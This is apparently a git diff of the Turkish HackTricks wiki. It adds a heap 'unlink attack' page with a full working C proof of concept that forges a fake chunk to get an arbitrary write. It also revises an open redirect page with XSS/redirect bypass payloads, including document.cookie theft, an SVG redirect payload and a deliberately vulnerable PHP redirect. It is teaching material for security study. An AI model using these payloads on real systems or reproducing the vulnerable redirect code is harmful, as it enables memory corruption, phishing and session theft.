* Daha sonra, b1 ve c serbest bırakılır. `c - c->prev_size` hala b'yi (şimdi b1) işaret ettiği için, her ikisi de birleştirilir. Ancak, b2 hala b1 ve c arasında içindedir.
|
||||
* Son olarak, bu bellek alanını geri kazanmak için yeni bir malloc işlemi gerçekleştirilir, bu da yeni malloc sahibinin b2 içeriğini kontrol etmesine olanak tanır.
|
||||
|
||||
Bu resim saldırıyı mükemmel bir şekilde açıklar:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
|
||||
|
||||
## Referanslar
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
|
||||
</details>
|
137
binary-exploitation/heap/unlink-attack.md
Normal file
137
binary-exploitation/heap/unlink-attack.md
Normal file
|
@ -0,0 +1,137 @@
|
|||
# Unlink Saldırısı
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
|
||||
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com)
|
||||
* [**The PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**]'imiz koleksiyonumuzu keşfedin (https://opensea.io/collection/the-peass-family)
|
||||
* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] katılın (https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**]'da takip edin (https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**] (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
|
||||
</details>
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
Bu saldırı keşfedildiğinde genellikle bir WWW (Write What Where) izin veriyordu, ancak bazı **kontroller eklenmiş** ve saldırının yeni sürümü daha ilginç, daha karmaşık ve **anlamsız** hale getirilmiştir.
|
||||
|
||||
### Kod Örneği:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kod</summary>
|
||||
```c
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
|
||||
|
||||
struct chunk_structure {
|
||||
size_t prev_size;
|
||||
size_t size;
|
||||
struct chunk_structure *fd;
|
||||
struct chunk_structure *bk;
|
||||
char buf[10]; // padding
|
||||
};
|
||||
|
||||
int main() {
|
||||
unsigned long long *chunk1, *chunk2;
|
||||
struct chunk_structure *fake_chunk, *chunk2_hdr;
|
||||
char data[20];
|
||||
|
||||
// First grab two chunks (non fast)
|
||||
chunk1 = malloc(0x8000);
|
||||
chunk2 = malloc(0x8000);
|
||||
printf("Stack pointer to chunk1: %p\n", &chunk1);
|
||||
printf("Chunk1: %p\n", chunk1);
|
||||
printf("Chunk2: %p\n", chunk2);
|
||||
|
||||
// Assuming attacker has control over chunk1's contents
|
||||
// Overflow the heap, override chunk2's header
|
||||
|
||||
// First forge a fake chunk starting at chunk1
|
||||
// Need to setup fd and bk pointers to pass the unlink security check
|
||||
fake_chunk = (struct chunk_structure *)chunk1;
|
||||
fake_chunk->size = 0x8000;
|
||||
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
|
||||
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
|
||||
|
||||
// Next modify the header of chunk2 to pass all security checks
|
||||
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
|
||||
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
|
||||
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
|
||||
|
||||
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
|
||||
// This results in chunk1 pointer pointing to chunk1 - 3
|
||||
// i.e. chunk1[3] now contains chunk1 itself.
|
||||
// We then make chunk1 point to some victim's data
|
||||
free(chunk2);
|
||||
printf("Chunk1: %p\n", chunk1);
|
||||
printf("Chunk1[3]: %x\n", chunk1[3]);
|
||||
|
||||
chunk1[3] = (unsigned long long)data;
|
||||
|
||||
strcpy(data, "Victim's data");
|
||||
|
||||
// Overwrite victim's data using chunk1
|
||||
chunk1[0] = 0x002164656b636168LL;
|
||||
|
||||
printf("%s\n", data);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### Hedef
|
||||
|
||||
* Yığın içinde bir parçanın bir işaretcisini değiştirerek yığındaki içeriği değiştirmeyi mümkün kılmak
|
||||
|
||||
### Gereksinimler
|
||||
|
||||
* Bir bellek alanında (örneğin yığın) bazı kontrollerin olması, bazı özniteliklere değer vererek birkaç parça oluşturmak için
|
||||
* Sahte parçanın işaretçilerini ayarlamak için yığın sızıntısı
|
||||
|
||||
### Saldırı
|
||||
|
||||
* Birkaç parça var (parça1 ve parça2)
|
||||
* Saldırgan parça1'in içeriğini ve parça2'nin başlıklarını kontrol ediyor
|
||||
* Parça1'de saldırgan sahte bir parça yapısını oluşturur:
|
||||
* Korumaları atlamak için `size` alanının doğru olduğundan emin olur: `corrupted size vs. prev_size while consolidating` hatasını önlemek için
|
||||
* ve sahte parçanın `fd` ve `bk` alanları, parça1 işaretçisinin saklandığı yere -3 ve -2 ofsetlerle işaret eder, böylece `fake_chunk->fd->bk` ve `fake_chunk->bk->fd` gerçek parça1 adresinin bulunduğu bellek konumuna (yığın) işaret eder:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||
|
||||
* Parça2'nin başlıkları değiştirilir, önceki parçanın kullanılmadığını ve sahte parçanın içerdiği boyutun boyutunu gösterir.
|
||||
* İkinci parça serbest bırakıldığında, bu sahte parça bağlantısı kesilir:
|
||||
* `fake_chunk->fd->bk` = `fake_chunk->bk`
|
||||
* `fake_chunk->bk->fd` = `fake_chunk->fd`
|
||||
* Daha önce `fake_chunk->fd->bk` ve `fake_chunk->fd->bk`'nin aynı yere işaret ettiği yapılmıştı (yığında `parça1`'in saklandığı konum, bu yüzden geçerli bir bağlı liste idi). **Her ikisi de aynı yere işaret ettiği için** sadece sonuncusu (`fake_chunk->bk->fd = fake_chunk->fd`) **etkili olacaktır**.
|
||||
* Bu, yığında `parça1`'in işaretçisini yığında saklanan 3 adres öncesindeki adrese (veya baytlara) **üzerine yazacak**.
|
||||
* Dolayısıyla, bir saldırgan parça1'in içeriğini tekrar kontrol edebilirse, yığının içine **yazabilecek**, muhtemelen canary'yi atlayarak dönüş adresini değiştirebilecek ve yerel değişkenlerin değerlerini ve işaretçilerini değiştirebilecektir. Hatta yığında saklanan parça1'in adresini tekrar farklı bir konuma değiştirerek, saldırgan parça1'in içeriğini tekrar kontrol edebilirse herhangi bir yere yazabilecektir.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||
|
||||
## Referanslar
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
|
||||
</details>
|
|
@ -1,27 +1,28 @@
|
|||
# Açık Yönlendirme
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini** alın](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
|
||||
</details>
|
||||
|
||||
## Açık yönlendirme
|
||||
|
||||
# Açık yönlendirme
|
||||
|
||||
## Localhost veya keyfi alan adına yönlendirme
|
||||
### Localhost'a veya keyfi alan adlarına yönlendirme
|
||||
|
||||
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
||||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## XSS için Açık Yönlendirme
|
||||
### XSS için Açık Yönlendirme
|
||||
```bash
|
||||
#Basic payload, javascript code is executed after "javascript:"
|
||||
javascript:alert(1)
|
||||
|
@ -29,6 +30,9 @@ javascript:alert(1)
|
|||
#Bypass "javascript" word filter with CRLF
|
||||
java%0d%0ascript%0d%0a:alert(0)
|
||||
|
||||
# Abuse bad subdomain filter
|
||||
javascript://sub.domain.com/%0Aalert(1)
|
||||
|
||||
#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
|
||||
#This bypasses FILTER_VALIDATE_URL os PHP
|
||||
javascript://%250Aalert(1)
|
||||
|
@ -64,20 +68,7 @@ javascript://whitelisted.com?%a0alert%281%29
|
|||
/x:1/:///%01javascript:alert(document.cookie)/
|
||||
";alert(0);//
|
||||
```
|
||||
# Open Redirect svg dosyaları yükleyerek
|
||||
|
||||
Bir web uygulamasında open redirect zafiyeti, kullanıcıyı güvenli olmayan bir URL'ye yönlendiren bir saldırıdır. Bu saldırı, genellikle web uygulamasının URL parametrelerini veya yönlendirme işlemlerini doğru bir şekilde doğrulamamasından kaynaklanır.
|
||||
|
||||
Open redirect zafiyeti, svg dosyalarının yüklenmesiyle de istismar edilebilir. Saldırgan, svg dosyasının URL'sine hedeflenen kötü niyetli URL'yi ekleyerek, kullanıcıyı istenmeyen bir siteye yönlendirebilir.
|
||||
|
||||
Bu saldırıyı gerçekleştirmek için aşağıdaki adımları izleyebilirsiniz:
|
||||
|
||||
1. Hedef web uygulamasında svg dosyası yükleme işlevselliği arayın.
|
||||
2. Bir svg dosyası oluşturun ve içine hedeflenen kötü niyetli URL'yi ekleyin.
|
||||
3. Oluşturduğunuz svg dosyasını hedef web uygulamasına yükleyin.
|
||||
4. Svg dosyasının URL'sini alın ve hedeflenen kullanıcıyı yönlendirmek için kullanın.
|
||||
|
||||
Bu saldırıyı gerçekleştirmek için, hedef web uygulamasının open redirect zafiyetine sahip olması ve svg dosyalarını yüklemeye izin vermesi gerekmektedir. Bu nedenle, bu saldırıyı gerçekleştirmeden önce hedef web uygulamasını dikkatlice analiz etmek önemlidir.
|
||||
## Açık Yönlendirme svg dosyaları yükleme
|
||||
```markup
|
||||
<code>
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
|
@ -87,23 +78,7 @@ xmlns="http://www.w3.org/2000/svg">
|
|||
</svg>
|
||||
</code>
|
||||
```
|
||||
# Ortak enjeksiyon parametreleri
|
||||
|
||||
Web uygulamalarını test ederken, sıklıkla karşılaşılan bazı enjeksiyon parametreleri vardır. Bu parametreler, saldırganların web uygulamalarına saldırmak için kullandığı yaygın enjeksiyon noktalarını temsil eder. Aşağıda, en sık kullanılan enjeksiyon parametrelerinin bir listesini bulabilirsiniz:
|
||||
|
||||
- **URL Parametreleri**: Web uygulamalarında sıklıkla kullanılan parametrelerdir. Örnek olarak, `?id=1` şeklindeki bir URL parametresi verilebilir.
|
||||
|
||||
- **Form Parametreleri**: Web formlarında kullanılan parametrelerdir. Kullanıcıdan alınan verileri sunucuya göndermek için kullanılırlar.
|
||||
|
||||
- **HTTP Başlıkları**: HTTP isteklerinde kullanılan başlıklardır. Örneğin, `Referer` veya `User-Agent` gibi başlıklar enjeksiyon için kullanılabilir.
|
||||
|
||||
- **Çerezler**: Web uygulamalarında kullanılan çerezler, kullanıcının tarayıcısında saklanan verilerdir. Saldırganlar, çerezleri manipüle ederek enjeksiyon saldırıları gerçekleştirebilirler.
|
||||
|
||||
- **Veritabanı Sorguları**: Web uygulamaları genellikle veritabanı sorguları kullanır. Saldırganlar, bu sorgulara enjeksiyon yaparak veritabanı üzerinde istedikleri işlemleri gerçekleştirebilirler.
|
||||
|
||||
- **Komut Satırı Parametreleri**: Web uygulamaları bazen komut satırı parametrelerini kullanır. Saldırganlar, bu parametreleri manipüle ederek sistemde komut çalıştırabilirler.
|
||||
|
||||
Bu enjeksiyon parametrelerini dikkatlice inceleyerek, web uygulamalarında olası güvenlik açıklarını tespit etmek ve saldırıları önlemek mümkündür.
|
||||
## Ortak enjeksiyon parametreleri
|
||||
```
|
||||
/{payload}
|
||||
?next={payload}
|
||||
|
@ -178,47 +153,36 @@ RedirectUrl=https://c1h2e1.github.io
|
|||
Redirect=https://c1h2e1.github.io
|
||||
ReturnUrl=https://c1h2e1.github.io
|
||||
```
|
||||
# Kod örnekleri
|
||||
## Kod örnekleri
|
||||
|
||||
### .Net
|
||||
#### .Net
|
||||
```bash
|
||||
response.redirect("~/mysafe-subdomain/login.aspx")
|
||||
```
|
||||
### Java
|
||||
#### Java
|
||||
|
||||
Java, birçok platformda çalışabilen, nesne yönelimli bir programlama dilidir. Java, güvenlik, taşınabilirlik ve performans gibi özellikleriyle popülerdir. Java, web uygulamaları, mobil uygulamalar, oyunlar ve daha birçok alanda kullanılır.
|
||||
Java dilinde, bir URL'nin yönlendirme hedefini manipüle etmek için `HttpServletResponse` sınıfındaki `sendRedirect` yöntemi kullanılabilir. Örneğin:
|
||||
|
||||
Java, açık kaynaklı bir dil olup, geniş bir kütüphane ve araç setine sahiptir. Bu nedenle, Java ile çeşitli projeler geliştirmek kolaydır. Java, platform bağımsız olduğu için, bir kez yazılan kodun farklı işletim sistemlerinde çalışması mümkündür.
|
||||
```java
|
||||
response.sendRedirect("http://www.example.com");
|
||||
```
|
||||
|
||||
Java, güvenlik açısından da önemli bir role sahiptir. Java, otomatik bellek yönetimi ve güvenlik kontrolleri gibi özellikleriyle, kötü amaçlı yazılımlara karşı koruma sağlar. Ancak, güvenlik açıkları ve zayıf kodlama uygulamaları, Java uygulamalarının hedef olmasına neden olabilir.
|
||||
|
||||
Java, web uygulamalarında da sıkça kullanılır. Java Servlets ve JavaServer Pages (JSP) gibi teknolojiler, dinamik ve etkileşimli web sayfalarının geliştirilmesini sağlar. Ayrıca, Java ile web servisleri oluşturmak ve kullanmak da mümkündür.
|
||||
|
||||
Java, geniş bir topluluğa sahip olduğu için, sorunlarınızı çözmek için birçok kaynak bulabilirsiniz. Java geliştirme ortamları (IDE'ler) ve hata ayıklama araçları da mevcuttur, bu da geliştirme sürecini kolaylaştırır.
|
||||
|
||||
Java, güçlü ve esnek bir programlama dilidir. Yüksek performanslı uygulamalar geliştirmek için kullanılabilir. Java'nın zengin kütüphane ve araç seti, geliştirme sürecini hızlandırır ve kod tekrarını azaltır. Bu nedenle, Java, birçok geliştiricinin tercih ettiği bir dil haline gelmiştir.
|
||||
Bu yöntem, kullanıcıyı belirtilen URL'ye yönlendirecektir. Bu durum, kötü niyetli bir saldırganın kullanıcıyı yanıltmak veya kötü amaçlı bir siteye yönlendirmek için kullanılabileceği bir güvenlik açığına yol açabilir.
|
||||
```bash
|
||||
response.redirect("http://mysafedomain.com");
|
||||
```
|
||||
### PHP
|
||||
#### PHP
|
||||
|
||||
PHP, Hypertext Preprocessor olarak da bilinen, web uygulamaları geliştirmek için kullanılan bir betik dildir. Açık kaynaklı bir dildir ve genellikle sunucu taraflı programlama için tercih edilir. PHP, HTML içine gömülebilir ve veritabanı işlemleri gibi çeşitli görevleri yerine getirebilir.
|
||||
PHP'de, bir URL'nin yönlendirme hedefini belirlemek için `header()` işlevini kullanabilirsiniz. Örneğin:
|
||||
|
||||
#### Açık Yönlendirme Zafiyeti
|
||||
|
||||
Açık yönlendirme zafiyeti, web uygulamalarında yaygın bir güvenlik açığıdır. Bu zafiyet, kullanıcıyı başka bir URL'ye yönlendirmek için kullanılan bir parametrenin güvenli bir şekilde doğrulanmamasından kaynaklanır. Bu, saldırganın kullanıcıyı kötü niyetli bir web sitesine veya sahte bir oturum açma sayfasına yönlendirmesine olanak tanır.
|
||||
|
||||
Açık yönlendirme zafiyetini sömürmek için, saldırgan genellikle hedef web uygulamasında bulunan bir açık yönlendirme parametresini manipüle eder. Bu parametre, genellikle URL'nin sonunda bulunan bir değerdir. Saldırgan, bu değeri değiştirerek kullanıcıyı istediği bir URL'ye yönlendirebilir.
|
||||
|
||||
Örneğin, aşağıdaki URL'de "redirect" parametresi açık yönlendirme zafiyeti içerebilir:
|
||||
|
||||
```
|
||||
https://example.com/login?redirect=https://malicious-site.com
|
||||
```php
|
||||
<?php
|
||||
$redirect_url = $_GET['url'];
|
||||
header("Location: $redirect_url");
|
||||
?>
|
||||
```
|
||||
|
||||
Bu durumda, kullanıcı oturum açtıktan sonra, web uygulaması onu "https://malicious-site.com" adresine yönlendirecektir. Saldırgan, bu zafiyeti kullanarak kullanıcıları kötü niyetli sitelere yönlendirebilir ve kimlik avı saldırıları gerçekleştirebilir.
|
||||
|
||||
Açık yönlendirme zafiyetini önlemek için, web uygulamaları giriş parametrelerini güvenli bir şekilde doğrulamalı ve güvenli URL yönlendirmeleri sağlamalıdır. Bu, kullanıcıların güvenli bir şekilde doğrulanmış ve güvenli bir şekilde yönlendirildiği anlamına gelir.
|
||||
Bu kod, kullanıcıdan gelen `url` parametresini alır ve belirtilen URL'ye yönlendirme yapar. Bu, kötü niyetli kullanıcıların kurbanları fark ettirmeden başka sitelere yönlendirmelerine olanak tanır.
|
||||
```php
|
||||
<?php
|
||||
/* browser redirections*/
|
||||
|
@ -226,28 +190,27 @@ header("Location: http://mysafedomain.com");
|
|||
exit;
|
||||
?>
|
||||
```
|
||||
# Araçlar
|
||||
## Araçlar
|
||||
|
||||
* [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
|
||||
|
||||
# Kaynaklar
|
||||
## Kaynaklar
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) adresinde fuzzing listelerini bulabilirsiniz.
|
||||
* [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) adresinde fuzzing listelerini bulabilirsiniz.\\
|
||||
* [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\\
|
||||
* [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
|
||||
* [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> öğrenin!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue